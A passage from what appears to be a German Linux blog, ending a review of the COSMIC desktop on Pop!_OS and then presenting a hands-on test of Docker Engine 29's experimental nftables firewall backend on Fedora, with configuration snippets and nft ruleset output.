Tiling-Steuerung erfordert eine längere Eingewöhnung, erlaubt dann aber eine Bedienung weitgehend ohne Maus. Für Tiling- bzw. COSMIC-Einsteiger wäre hier mehr Dokumentation bzw. ein gutes Video hilfreich. Die Kennzeichnung des gerade aktiven Fensters durch einen farbigen Rahmen ist funktionell, aber nicht besonders ästhetisch. Im Dateimanager gibt es keine Funktion, um mehrere Dateien umzubenennen. Letztlich sind das alles Kleinigkeiten. Meine Tests verliefen absturzfrei, ich konnte mit COSMIC gut und stabil arbeiten. Der Desktop hinterließ dabei einen sehr schnellen, flüssigen Eindruck — aber das ist eine eher subjektive Feststellung, die ich nicht durch Benchmark-Tests untermauern kann. Meine Lieblingseinstellungen (Dock links, Light Mode, Maus mit Natural Scrolling, 4k-Monitor mit 150%-Skalierung) habe ich mühelos in den gut organisierten Systemeinstellungen gefunden. Anders als unter Gnome musste ich dazu keine Extensions installieren :-) Paketverwaltung Pop!_OS basiert auf Ubuntu, verwendet aber eigene Paketquellen und weicht nicht nur beim Desktop vom Original ab (z.B. beim Boot-System, siehe unten). Anstelle von Snap-Paketen setzt Pop!_OS auf Flatpaks. Flathub ist per Default eingerichtet, Flatpaks können mühelos aus dem COSMIC Store installiert werden. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cosmic-store1.png" alt="Der Screenshot zeigt den COSMIC Store als App‑Katalog unter Linux. Links befindet sich eine Navigationsleiste mit Kategorien wie „Erkunden“, „Arbeiten“ und „Installierte Apps“. In der Hauptansicht werden Bereiche wie „Editor’s Choice“, „Beliebte Apps“ und „Hergestellt für COSMIC“ mit Kacheln für Programme wie Slack, Telegram, VS Code, Steam, Firefox und GIMP angezeigt. Oben rechts sind Fenster‑ und Einstellungsicons sichtbar." width="1011" height="960" class="size-full wp-image-9219" srcset="https://kofler.info/wp-content/uploads/cosmic-store1.png 1011w, https://kofler.info/wp-content/uploads/cosmic-store1-685x650.png 685w, https://kofler.info/wp-content/uploads/cosmic-store1-768x729.png 768w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /> Der COSMIC Store basiert auf Flatpak <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cosmic-store2.png" alt="Der Screenshot zeigt die Installation von Visual Studio Code im Software-Center als Flatpak. Links ist die Navigationsleiste mit dem markierten Bereich „Entwickeln“ zu sehen. Im Hauptbereich steht „Visual Studio Code“ mit Hersteller „Microsoft Corporation“ und Quelle „Flathub“. Unten zeigt ein Fortschrittsbalken den Installationsstatus „Installing … (54%)“ sowie einen Link „Details“." width="1024" height="768" class="size-full wp-image-9220" srcset="https://kofler.info/wp-content/uploads/cosmic-store2.png 1024w, https://kofler.info/wp-content/uploads/cosmic-store2-850x638.png 850w, https://kofler.info/wp-content/uploads/cosmic-store2-768x576.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /> Installation von VS Code als Flatpak Boot-System Pop!_OS verwendet systemd_boot (nicht GRUB). Die erforderlichen Kernel- und Initrd-Dateien werden direkt in der EFI-Partition gespeichert (Verzeichnis /boot/efi/EFI/Pop-OS-xxx, Platzbedarf ca. 140 MByte). Auf meinem Testrechner erfolgt der Bootvorgang ohne die Anzeige eines Auswahlmenüs blitzschnell. Einige Hintergründe zur Konfiguration inklusive Reparatur-Tipps sind hier in einem Support-Artikel beschrieben. Fazit Für ein 1.0-Release funktioniert COSMIC sehr gut. Dafür muss man system76 einfach Respekt zollen! Einen kompletten Desktop neu zu implementieren (in der Programmiersprache Rust, noch ein Pluspunkt!) — das ist einfach bemerkenswert. system76 hat damit ein Fundament geschaffen, aus dem in den nächsten Jahren ein echter Mainstream-Desktop werden könnte, auf einer Stufe mit Gnome oder KDE. Dessen ungeachtet verspüre ich aktuell keine Versuchung, auf COSMIC umzusteigen. Für meine Zwecke funktioniert Gnome mit ein paar Erweiterungen zufriedenstellend. Auch mit KDE kann ich gut arbeiten. Mein Leidensdruck, einen anderen Desktop zu suchen, ist gering. Meine Linux-Probleme haben selten mit dem Desktop zu tun. Für Linux-Einsteiger betrachte ich weiterhin Gnome als den besten Startpunkt. system76 sieht hingegen primär Entwickler und fortgeschrittene Entwickler als Zielgruppe. Die Rechnung könnte aufgehen, insbesondere für Tiling-Fans. Heute auf Pop!_OS 24.04 umzusteigen wirkt wenig attraktiv — in nur vier Monaten wird es mit Ubuntu 26.04 ein von Grund auf modernisiertes Fundament geben, wenig später vermutlich die entsprechende Pop!_OS-Version 26.04 mit sicher schon etwas verbesserten COSMIC-Paketen. Im Übrigen steht COSMIC als echtes Open-Source-Projekt auf für andere Distributionen zur Verfügung, z.B. in Form des durchaus attraktiven Fedora Spins. Quellen/Links https://system76.com/pop https://system76.com/cosmic https://blog.system76.com/ https://support.system76.com/articles/pop-cosmic-keyboard-shortcuts https://support.system76.com/articles/bootloader https://www.fedoraproject.org/spins/cosmic https://www.youtube.com/watch?v=7JX6xWg5lx4 (langes Interview mit Carl Richell and Jeremy Soller, beide von system76, über Pop!_OS und Cosmic)
Die Docker Engine 29 unter Linux unterstützt erstmals Firewalls auf nftables-Basis. Die Funktion ist explizit noch experimentell, aber wegen der zunehmenden Probleme mit dem veralteten iptables-Backend geht für Docker langfristig kein Weg daran vorbei. Also habe ich mir gedacht, probiere ich das Feature einfach einmal aus. Mein Testkandidat war Fedora 43 (eine reale Installation auf … Docker mit nftables ausprobiert weiterlesen →
Die Docker Engine 29 unter Linux unterstützt erstmals Firewalls auf nftables-Basis. Die Funktion ist explizit noch experimentell, aber wegen der zunehmenden Probleme mit dem veralteten iptables-Backend geht für Docker langfristig kein Weg daran vorbei. Also habe ich mir gedacht, probiere ich das Feature einfach einmal aus. Mein Testkandidat war Fedora 43 (eine reale Installation auf einem x86-Mini-PC sowie eine virtuelle Maschine unter ARM). Inbetriebnahme Das nft-Backend aktivieren Sie mit der folgenden Einstellung in der Datei /etc/docker/daemon.json: { "firewall-backend": "nftables" } Diese Datei existiert normalerweise nicht, muss also erstellt werden. Die Syntax ist hier zusammengefasst. Die Docker-Dokumentation weist darauf hin, dass Sie außerdem IP-Forwarding erlauben müssen. Alternativ können Sie Docker anweisen, auf Forwarding zu verzichten ("ip-forward": false in daemon.json) — aber dann funktionieren grundlegende Netzwerkfunktionen nicht. # Datei /etc/sysctl.d/99-docker.conf net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 sysctl --system aktiviert die Änderungen ohne Reboot. Die Docker-Dokumentation warnt allerdings, dass dieses Forwarding je nach Anwendung zu weitreichend sein und Sicherheitsprobleme verursachen kann. Gegebenenfalls müssen Sie das Forwarding durch weitere Firewall-Regeln wieder einschränken. Die Dokumentation gibt ein Beispiel, um auf Rechnern mit firewalld unerwünschtes Forwarding zwischen eth0 und eth1 zu unterbinden. Alles in allem wirkt der Umgang mit dem Forwarding noch nicht ganz ausgegoren. Praktische Erfahrungen Mit diesen Einstellungen lässt sich die Docker Engine prinzipiell starten (systemctl restart docker, Kontrolle mit docker version oder systemctl status docker). Welches Firewall-Backend zum Einsatz kommt, verrät docker info: docker info | grep 'Firewall Backend' Firewall Backend: nftables+firewalld Ich habe dann ein kleines Compose-Setup bestehend aus MariaDB und WordPress gestartet. Soweit problemlos: docker compose up -d [+] Running 2/2 Container wordpress-sample-wordpress-1 Running 0.0s Container wordpress-sample-db-1 Running 0.0s Attaching to db-1, wordpress-1 docker compose ps NAME IMAGE ... PORTS wordpress-sample-db-1 mariadb:latest 3306/tcp wordpress-sample-wordpress-1 wordpress:latest 127.0.0.1:8082->80/tcp Firewall-Regeln Auch wenn ich kein nft-Experte bin, wollte ich mir zumindest einen Überblick verschaffen, wie die Regeln hinter den Kulissen funktionieren und welchen Umfang sie haben: # ohne Docker (nur firewalld) nft list tables table inet firewalld nft list ruleset | wc -l 374 # nach Start der Docker Engine (keine laufenden Container) nft list tables table inet firewalld table ip docker-bridges table ip6 docker-bridges nft list ruleset | wc -l 736 Im Prinzip richtet Docker also zwei Regeltabellen docker-bridges ein, je eine für IPv4 und für IPv6. Die zentralen Regeln für IPv4 sehen so aus (hier etwas kompakter als üblich formatiert): nft list table ip docker-bridges table ip docker-bridges { map filter-forward-in-jumps { type ifname : verdict elements = { "docker0" : jump filter-forward-in__docker0 } } map filter-forward-out-jumps { type ifname : verdict elements = { "docker0" : jump filter-forward-out__docker0 } } map nat-postrouting-in-jumps { type ifname : verdict elements = { "docker0" : jump nat-postrouting-in__docker0 } } map nat-postrouting-out-jumps { type ifname : verdict elements = { "docker0" : jump nat-postrouting-out__docker0 } } chain filter-FORWARD { type filter hook forward priority filter; policy accept; oifname vmap @filter-forward-in-jumps iifname vmap @filter-forward-out-jumps } chain nat-OUTPUT { type nat hook output priority dstnat; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump nat-prerouting-and-output } chain nat-POSTROUTING { type nat hook postrouting priority srcnat; policy accept; iifname vmap @nat-postrouting-out-jumps oifname vmap @nat-postrouting-in-jumps } chain nat-PREROUTING { type nat hook prerouting priority dstnat; policy accept; fib daddr type local counter packets 0 bytes 0 jump nat-prerouting-and-output } chain nat-prerouting-and-output { } chain raw-PREROUTING { type filter hook prerouting priority raw; policy accept; } chain filter-forward-in__docker0 { ct state established,related counter packets 0 bytes 0 accept iifname "docker0" counter packets 0 bytes 0 accept comment "ICC" counter packets 0 bytes 0 drop comment "UNPUBLISHED PORT DROP" } chain filter-forward-out__docker0 { ct state established,related counter packets 0 bytes 0 accept counter packets 0 bytes 0 accept comment "OUTGOING" } chain nat-postrouting-in__docker0 { } chain nat-postrouting-out__docker0 { oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade comment "MASQUERADE" } } Diese Tabelle richtet NAT-Hooks für Pre- und Postrouting ein, die über Verdict-Maps (Datenstrukturen zur Zuordnung von Aktionen) später dynamisch auf bridge-spezifische Chains weiterleiten können. Für das Standard-Docker-Bridge-Netzwerk (docker0, 172.17.0.0/16) sind bereits Filter-Chains vorbereitet, die etablierte Verbindungen akzeptieren, Inter-Container-Kommunikation erlauben würden und nicht veröffentlichte Ports blocken, sowie eine Masquerading-Regel für ausgehenden Traffic von Containern, damit diese über die Host-IP auf das Internet zugreifen können. Die meisten Chains sind vorerst leer oder inaktiv (nat-prerouting-and-output, raw-PREROUTING, nat-postrouting-in__docker0). Wenn Docker Container ausführt, interne Netzwerk bildet etc., kommen weitere Regeln innerhalb von ip docker-bridges hinzu. Zusammenspiel mit libvirt/virt-manager Vor ca. einem halben Jahr bin ich das erste Mal über das nicht mehr funktionierende Zusammenspiel von Docker mit iptables und libvirt mit nftables gestolpert (siehe hier). Zumindest bei meinen oberflächlichen Tests klappt das jetzt: libvirt muss nicht auf iptables zurückgestellt werden sondern kann bei der Defaulteinstellung nftables bleiben. Dafür muss Docker wie in diesem Beitrag beschrieben ebenfalls auf nftables umgestellt werden. Nach einem Neustart (erforderlich, damit alte iptables-Docker-Regeln garantiert entfernt werden!) kooperieren Docker und libvirt so wie sie sollen. libvirt erzeugt für seine Netzwerkfunktionen zwei weitere Regeltabellen: nft list tables table inet firewalld table ip docker-bridges table ip6 docker-bridges table ip libvirt_network table ip6 libvirt_network Einschränkungen und Fazit Die Docker-Dokumentation weist darauf hin, dass das nftables-Backend noch keine Overlay-Regeln erstellt, die für den Betrieb von Docker Swarm notwendig sind. Docker Swarm funktioniert also aktuell nicht, wenn Sie Docker auf nftables umstellen. Für mich ist das kein Problem, weil ich Docker Swarm ohnedies nicht brauche. Ich habe meine Tests nur unter Fedora durchgeführt. (Meine Zeit ist auch endlich.) Es ist anzunehmen, dass RHEL plus Klone analog funktionieren, aber das bleibt abzuwarten. Debian + Ubuntu wären auch zu testen … Ich habe nur einfache compose-Setups ausprobiert. Natürlich kein produktiver Einsatz. Meine nftables- und Firewall-Kenntnisse reichen nicht aus, um eventuelle Sicherheitsimplikationen zu beurteilen, die sich aus der Umstellung von iptables auf nftables ergeben. Losgelöst von den Docker-spezifischen Problemen zeigt dieser Blog-Beitrag auch, dass das Zusammenspiel mehrerer Programme (firewalld, Docker, libvirt, fail2ban, sonstige Container- und Virtualisierungssysteme), die jeweils ihre eigenen Firewall-Regeln benötigen, alles andere als trivial ist. Es würde mich nicht überraschen, wenn es in naher Zukunft noch mehr unangenehme Überraschungen gäbe, dass also der gleichzeitige Betrieb der Programme A und B zu unerwarteten Sicherheitsproblemen führt. Warten wir es ab … Insofern ist die Empfehlung, beim produktiven Einsatz von Docker auf dem Host möglichst keine anderen Programme auszuführen, nachvollziehbar. Im Prinzip ist das Konzept ja nicht neu — jeder Dienst (Web, Datenbank, Mail usw.) bekommt möglichst seinen eigenen Server bzw. seine eigene Cloud-Instanz. Für große Firmen mit entsprechender Server-Infrastruktur sollte dies ohnedies selbstverständlich sein. Bei kleineren Server-Installationen ist die Auftrennung aber unbequem und teuer. Quellen/Links https://kofler.info/dockers-nft-inkompatibilitaet-wird-zunehmend-zum-aergernis/ https://docs.docker.com/engine/release-notes/29/ https://docs.docker.com/engine/network/firewall-nftables/ https://docs.docker.com/engine/network/firewall-nftables/#migrating-from-iptables-to-nftables https://docs.docker.com/engine/daemon/ https://docs.docker.com/engine/security/#docker-daemon-attack-surface